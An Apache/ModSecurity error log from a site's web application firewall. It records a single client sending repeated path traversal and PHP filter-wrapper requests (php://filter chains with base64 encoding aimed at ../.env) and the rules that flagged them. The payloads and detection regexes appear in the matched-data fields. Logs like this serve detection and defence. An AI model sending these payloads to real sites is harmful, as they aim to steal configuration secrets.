[Fri Jul 17 08:55:10.881429 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgllh1WDijTxd1xw5MJwAAAAc"]
[Fri Jul 17 08:55:10.886258 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&page=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&cb=qOpn8mi_yW7hzszxzr70h_pWaVuTTqDffp8AA7PILvafe2_yb_6CDOUxGDk2Pt6sYgd7WbO-yDGPXA_PoIvdfzyt7iSbL3Bc5AnG7rZS2oHAa9wubCnlPo9IdLD_GbUFizNer98loUvP6t-4eZ2ZSdxq1BXWgKeaF5sNTlg70_pLGvpwMzzAs7zXlJyn3OFBkZIBSbts9sHLHT-B4tp27SbKN5Po9EKz-8UIgGQU2IJXACLY0-SEaby5frCtFltsRWNajwInfabIToR8MbYUNEeM&extra=DRSLXGVSNWYPMBY3KCGOBLPH74K4BJZ7SAY46S3MY66PU3ER6C6..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWgAAAAU"]
[Fri Jul 17 08:55:10.886310 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWgAAAAU"]
[Fri Jul 17 08:55:10.886393 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&cb=qOpn8mi_yW7hzszxzr70h_pWaVuTTqDffp8AA7PILvafe2_yb_6CDOUxGDk2Pt6sYgd7WbO-yDGPXA_PoIvdfzyt7iSbL3Bc5AnG7rZS2oHAa9wubCnlPo9IdLD_GbUFizNer98loUvP6t-4eZ2ZSdxq1BXWgKeaF5sNTlg70_pLGvpwMzzAs7zXlJyn3OFBkZIBSbts9sHLHT-B4tp27SbKN5Po9EKz-8UIgGQU2IJXACLY0-SEaby5frCtFltsRWNajwInfabIToR8MbYUNEeM&extra=DRSLXGVSNWYPMBY3KCGOBLPH74K4BJZ7SAY46S3MY66PU3ER6C6CZD2A35ONBT6ESOHNYAB2T4SI5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWgAAAAU"]
[Fri Jul 17 08:55:10.886423 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&cb=qopn8mi_yw7hzszxzr70h_pwavuttqdffp8aa7pilvafe2_yb_6cdouxgdk2pt6sygd7wbo-ydgpxa_poivdfzyt7isbl3bc5ang7rzs2ohaa9wubcnlpo9idld_gbufizner98louvp6t-4ez2zsdxq1bxwgkeaf5sntlg70_plgvpwmzzas7zxljyn3ofbkzibsbts9shlht-b4tp27sbkn5po9ekz-8uiggqu2ijxacly0-seaby5frctfltsrwnajwinfabitor8mbyuneem&extra=drslxgvsnwypmby3kcgoblph74k4bjz7say46s3my66pu3er6c6czd2a35onbt6esohnyab2t4si5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWgAAAAU"]
[Fri Jul 17 08:55:10.886445 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWgAAAAU"]
[Fri Jul 17 08:55:10.886464 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWgAAAAU"]
[Fri Jul 17 08:55:10.886812 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWgAAAAU"]
[Fri Jul 17 08:55:10.887877 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWgAAAAU"]
[Fri Jul 17 08:55:10.888012 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.888306 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglhAi3pC6yjXGNq2AWgAAAAU"]
[Fri Jul 17 08:55:10.892028 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&page=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&sid=j1yac7qZjEeD1oF48dYLcIqj3_3RgiauCSO1Y10KESitlU1V5yWmfL6puAoosQMJ59eqglRev8qu6vlqRtwf-4TEkNb25Eoj6skIqdcIzJwf2F5O3yLfNa-yKk85ujOhnaCCqDmwVxiGv-Zik9vCk_dzoCZV9vPQN-1n8oIyJbT2kKa4CSgcvJwnHGPwrKILlcceobccPDXYaDiu8SoLZwWw3X_s-zxKw8vOi1lIDGJQLerAd9r_O4i5rHrNXthH8U5VDSqGvIYZvOUuC4nj6FBM&anything=UINUPRQ4OYTGSCFFTBCLZDYTIDVXLGPHEDHPQHE4O6..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8egAAABA"]
[Fri Jul 17 08:55:10.892097 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8egAAABA"]
[Fri Jul 17 08:55:10.892155 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&sid=j1yac7qZjEeD1oF48dYLcIqj3_3RgiauCSO1Y10KESitlU1V5yWmfL6puAoosQMJ59eqglRev8qu6vlqRtwf-4TEkNb25Eoj6skIqdcIzJwf2F5O3yLfNa-yKk85ujOhnaCCqDmwVxiGv-Zik9vCk_dzoCZV9vPQN-1n8oIyJbT2kKa4CSgcvJwnHGPwrKILlcceobccPDXYaDiu8SoLZwWw3X_s-zxKw8vOi1lIDGJQLerAd9r_O4i5rHrNXthH8U5VDSqGvIYZvOUuC4nj6FBM&anything=UINUPRQ4OYTGSCFFTBCLZDYTIDVXLGPHEDHPQHE4O6FXQ5HR34MPYWW2TQCWUFY7HWF7AY..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8egAAABA"]
[Fri Jul 17 08:55:10.892197 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&sid=j1yac7qzjeed1of48dylciqj3_3rgiaucso1y10kesitlu1v5ywmfl6puaoosqmj59eqglrev8qu6vlqrtwf-4teknb25eoj6skiqdcizjwf2f5o3ylfna-ykk85ujohnaccqdmwvxigv-zik9vck_dzoczv9vpqn-1n8oiyjbt2kka4csgcvjwnhgpwrkillcceobccpdxyadiu8solzwww3x_s-zxkw8voi1lidgjqlerad9r_o4i5rhrnxthh8u5vdsqgviyzvouuc4nj6fbm&anything=uinuprq4oytgscfftbclzdytidvxlgphedhpqhe4o6fxq5hr34mpyww2tqcwufy7hwf7ay..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8egAAABA"]
[Fri Jul 17 08:55:10.892225 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8egAAABA"]
[Fri Jul 17 08:55:10.892252 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8egAAABA"]
[Fri Jul 17 08:55:10.892657 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8egAAABA"]
[Fri Jul 17 08:55:10.893761 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8egAAABA"]
[Fri Jul 17 08:55:10.893925 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.894243 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglkkXT4NBqALj2lZ8egAAABA"]
[Fri Jul 17 08:55:10.897432 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZAAAAB4"]
[Fri Jul 17 08:55:10.898486 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZAAAAB4"]
[Fri Jul 17 08:55:10.898635 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.898898 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgllCBpfuYyhJ140vSZAAAAB4"]
[Fri Jul 17 08:55:10.899846 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlAAAABk"]
[Fri Jul 17 08:55:10.900953 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlAAAABk"]
[Fri Jul 17 08:55:10.901107 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.901417 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglg7FYe46zHK_jL3PlAAAABk"]
[Fri Jul 17 08:55:10.902733 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBNwAAAAY"]
[Fri Jul 17 08:55:10.903757 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBNwAAAAY"]
